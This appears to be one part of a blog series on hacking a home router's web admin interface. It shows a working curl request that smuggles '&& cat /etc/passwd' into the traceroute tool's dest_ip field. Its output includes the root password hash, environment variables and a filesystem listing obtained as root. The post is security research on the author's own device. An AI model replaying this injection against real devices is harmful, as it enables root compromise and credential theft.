MDM3. Letting the cat out of the bag

The last part ended on a bit of a cliffhanger as we encountered the great wall of input validation. Let’s see if and how we can bypass that.

The thing right now blocking me from running a traceroute to 192.168.0.100 && cat /etc/passwd is the frontend validation, so let’s bypass the frontend validation! We always could alter it in the browser, but working with a command line is easier.

Running a traceroute on an accepted correct IP address results in a POST request being made to /reqproc/proc_post with isTest=false, goformId=SET_TRACEROUTE_TOOL and dest_ip=192.168.0.100 being sent in the form data.

Copying the query from the network tab as a cURL command and adding our && cat /etc/passwd to the end of the dest_ip value results in the following command:

curl 'http://192.168.0.1/reqproc/proc_post' \
  --data-raw 'isTest=false&goformId=SET_TRACEROUTE_TOOL&dest_ip=192.168.0.100+%26%26+cat+/etc/passwd'

And running that command gives us (yanked out of a JSON object and formatted for ease of reading)…

traceroute to 192.168.0.100 (192.168.0.100), 30 hops max, 38 byte packets
 1  192.168.0.100 (192.168.0.100)  0.092 ms  0.031 ms  0.031 ms
root:C98ULvDZe7zQ2:0:0:root:/:/bin/sh

So it looks like our traceroute and cat was successful! That was easy! The system has a single user with the password hash of C98ULvDZe7zQ2.

Doing another request, but this time to query for the environment variables our commands are being run in using the env command.

USER=root
HOME=/
boot_reason=0
TERM=vt102
PATH=/sbin:/usr/sbin:/bin:/usr/bin
SHELL=/bin/sh
PWD=/

Listing the directories with the same trick gives us:

drwxr-xr-x   16 root     0              0 Jan  1  1970 .
drwxr-xr-x   16 root     0              0 Jan  1  1970 ..
drwxr-xr-x    2 root     0              0 Dec 17  2020 bin
lrwxrwxrwx    1 root     0             19 Nov 28  2020 cache -> /mnt/userdata/cache
drwxr-xr-x    3 root     0              0 Jan  1 08:00 dev
drwxr-xr-x    3 root     0              0 Dec 17  2020 etc
drwxr-xr-x    7 root     0              0 Nov 28  2020 etc_ro
lrwxrwxrwx    1 root     0             20 Nov 28  2020 etc_rw -> /mnt/userdata/etc_rw
drwxr-xr-x    4 root     0              0 Nov 28  2020 lib
drwxr-xr-x    2 root     0              0 Nov 28  2020 media
drwxr-xr-x    6 root     0              0 Nov 28  2020 mnt
dr-xr-xr-x  115 root     0              0 Nov  3  1987 proc
drwxr-xr-x    6 root     0              0 Dec 17  2020 recovery
drwxr-xr-x    2 root     0              0 Dec 17  2020 sbin
dr-xr-xr-x   18 root     0              0 Jan  1 08:00 sys
drwxr-xr-x    3 root     0              0 Jan  1 08:15 tmp
drwxr-xr-x    4 root     0              0 Dec 17  2020 usr
lrwxrwxrwx    1 root     0             17 Nov 28  2020 var -> /mnt/userdata/var"

Output of the commands seems to be limited, as running find / for a complete file listing results it being cut off. I’m not going to put a partial file listing here as it’ll be annoying to stich together multiple pipe-delimited outputs. It’ll be much easier once we get shell access.

The great wall of validation turned out to be an garage door with a bit of tape holding it shut.

While being able to run commands as root and read the output of those commands is fun, it really doesn’t come close to the fun one can have with having shell access. We’ve got the root password hash, so the next step would be to find a place where we can enter that password to get a shell going.

PS. They’re using an unusual authentication method, as the authentication is not based on a token, but rather they’re whitelisting the IP address for some time. I did not omit any cookie data from the cURL command, as I had already “logged in” using my browser.

When the whitelist times out then the only thing returned by the API is:

{"result":"failure"}